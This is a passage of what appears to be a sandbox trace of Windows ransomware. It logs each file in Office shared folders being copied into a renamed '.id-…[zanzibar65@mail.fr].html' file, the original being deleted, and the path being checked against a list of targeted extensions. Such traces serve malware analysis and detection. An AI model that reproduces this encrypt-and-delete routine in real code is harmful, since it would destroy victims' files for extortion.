GetLastError () returned 0x0 [0046.392] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x47cc, lpOverlapped=0x0) returned 1 [0046.393] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0046.395] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.395] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.395] SetEndOfFile (hFile=0x1ec) returned 1 [0046.395] CloseHandle (hObject=0x1ec) returned 1 [0046.395] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.395] SetEndOfFile (hFile=0x1f8) returned 1 [0046.396] CloseHandle (hObject=0x1f8) returned 1 [0046.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0046.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.396] lstrlenW (lpString=".doc") returned 4 [0046.397] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.397] lstrlenW (lpString=".docx") returned 5 [0046.397] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.397] lstrlenW (lpString=".pdf") returned 4 [0046.397] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.397] lstrlenW (lpString=".xls") returned 4 [0046.397] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.397] lstrlenW (lpString=".xlsx") returned 5 [0046.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.397] lstrlenW (lpString=".ppt") returned 4 [0046.397] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.397] lstrlenW (lpString=".zip") returned 4 [0046.397] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.397] lstrlenW (lpString=".rar") returned 4 [0046.397] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.397] lstrlenW (lpString=".bz2") returned 4 [0046.397] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.397] lstrlenW (lpString=".7z") returned 3 [0046.397] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.397] lstrlenW (lpString=".dbf") returned 4 [0046.397] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.397] lstrlenW (lpString=".1cd") returned 4 [0046.397] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.397] lstrlenW (lpString=".jpg") returned 4 [0046.397] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.397] lstrlenW (lpString=".doc") returned 4 [0046.398] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.398] lstrlenW (lpString=".docx") returned 5 [0046.398] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.398] lstrlenW (lpString=".pdf") returned 4 [0046.398] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.398] lstrlenW (lpString=".xls") returned 4 [0046.398] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.398] lstrlenW (lpString=".xlsx") returned 5 [0046.398] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.398] lstrlenW (lpString=".ppt") returned 4 [0046.398] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.398] lstrlenW (lpString=".zip") returned 4 [0046.398] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.398] lstrlenW (lpString=".rar") returned 4 [0046.398] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.398] lstrlenW (lpString=".bz2") returned 4 [0046.398] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.398] lstrlenW (lpString=".7z") returned 3 [0046.398] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.398] lstrlenW (lpString=".dbf") returned 4 [0046.398] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.398] lstrlenW (lpString=".1cd") returned 4 [0046.398] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0046.398] lstrlenW (lpString=".jpg") returned 4 [0046.398] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.398] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.399] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.399] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4991) returned 1 [0046.399] CloseHandle (hObject=0x1f8) returned 1 [0046.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0046.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.399] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.399] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.401] GetLastError () returned 0x0 [0046.401] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x137f, lpOverlapped=0x0) returned 1 [0046.402] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0046.403] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.403] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.403] SetEndOfFile (hFile=0x1ec) returned 1 [0046.403] CloseHandle (hObject=0x1ec) returned 1 [0046.404] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.404] SetEndOfFile (hFile=0x1f8) returned 1 [0046.404] CloseHandle (hObject=0x1f8) returned 1 [0046.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.405] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.405] lstrlenW (lpString=".doc") returned 4 [0046.405] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.405] lstrlenW (lpString=".docx") returned 5 [0046.405] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.405] lstrlenW (lpString=".pdf") returned 4 [0046.405] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.405] lstrlenW (lpString=".xls") returned 4 [0046.405] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.405] lstrlenW (lpString=".xlsx") returned 5 [0046.405] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.405] lstrlenW (lpString=".ppt") returned 4 [0046.405] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.405] lstrlenW (lpString=".zip") returned 4 [0046.405] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.405] lstrlenW (lpString=".rar") returned 4 [0046.405] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.405] lstrlenW (lpString=".bz2") returned 4 [0046.405] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.405] lstrlenW (lpString=".7z") returned 3 [0046.406] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.406] lstrlenW (lpString=".dbf") returned 4 [0046.406] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.406] lstrlenW (lpString=".1cd") returned 4 [0046.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.406] lstrlenW (lpString=".jpg") returned 4 [0046.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.406] lstrlenW (lpString=".doc") returned 4 [0046.406] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.406] lstrlenW (lpString=".docx") returned 5 [0046.406] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.406] lstrlenW (lpString=".pdf") returned 4 [0046.406] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.406] lstrlenW (lpString=".xls") returned 4 [0046.406] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.406] lstrlenW (lpString=".xlsx") returned 5 [0046.406] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.406] lstrlenW (lpString=".ppt") returned 4 [0046.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.406] lstrlenW (lpString=".zip") returned 4 [0046.406] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.406] lstrlenW (lpString=".rar") returned 4 [0046.406] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.406] lstrlenW (lpString=".bz2") returned 4 [0046.406] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.406] lstrlenW (lpString=".7z") returned 3 [0046.407] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.407] lstrlenW (lpString=".dbf") returned 4 [0046.407] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.407] lstrlenW (lpString=".1cd") returned 4 [0046.407] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0046.407] lstrlenW (lpString=".jpg") returned 4 [0046.407] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.407] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.407] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.407] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=44302) returned 1 [0046.407] CloseHandle (hObject=0x1f8) returned 1 [0046.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0046.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.408] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.408] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.408] GetLastError () returned 0x0 [0046.408] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xad0e, lpOverlapped=0x0) returned 1 [0046.655] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xad10, lpOverlapped=0x0) returned 1 [0046.656] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.656] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.657] SetEndOfFile (hFile=0x1ec) returned 1 [0046.657] CloseHandle (hObject=0x1ec) returned 1 [0046.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.657] SetEndOfFile (hFile=0x1f8) returned 1 [0046.658] CloseHandle (hObject=0x1f8) returned 1 [0046.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.658] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0046.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.659] lstrlenW (lpString=".doc") returned 4 [0046.659] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.659] lstrlenW (lpString=".docx") returned 5 [0046.659] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.659] lstrlenW (lpString=".pdf") returned 4 [0046.659] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.659] lstrlenW (lpString=".xls") returned 4 [0046.659] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.659] lstrlenW (lpString=".xlsx") returned 5 [0046.659] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.659] lstrlenW (lpString=".ppt") returned 4 [0046.659] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.659] lstrlenW (lpString=".zip") returned 4 [0046.659] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.659] lstrlenW (lpString=".rar") returned 4 [0046.659] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.659] lstrlenW (lpString=".bz2") returned 4 [0046.659] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.659] lstrlenW (lpString=".7z") returned 3 [0046.659] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.659] lstrlenW (lpString=".dbf") returned 4 [0046.659] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.659] lstrlenW (lpString=".1cd") returned 4 [0046.659] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.659] lstrlenW (lpString=".jpg") returned 4 [0046.659] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.660] lstrlenW (lpString=".doc") returned 4 [0046.660] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.660] lstrlenW (lpString=".docx") returned 5 [0046.660] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.660] lstrlenW (lpString=".pdf") returned 4 [0046.660] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.660] lstrlenW (lpString=".xls") returned 4 [0046.660] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.660] lstrlenW (lpString=".xlsx") returned 5 [0046.660] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.660] lstrlenW (lpString=".ppt") returned 4 [0046.660] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.660] lstrlenW (lpString=".zip") returned 4 [0046.660] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.660] lstrlenW (lpString=".rar") returned 4 [0046.660] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.660] lstrlenW (lpString=".bz2") returned 4 [0046.660] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.660] lstrlenW (lpString=".7z") returned 3 [0046.660] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.660] lstrlenW (lpString=".dbf") returned 4 [0046.660] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.660] lstrlenW (lpString=".1cd") returned 4 [0046.660] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0046.660] lstrlenW (lpString=".jpg") returned 4 [0046.660] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.661] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0046.661] lstrlenW (lpString="VBCN6.CHM") returned 9 [0046.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.661] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=109718) returned 1 [0046.661] CloseHandle (hObject=0x1f8) returned 1 [0046.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0046.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.661] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.661] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.661] 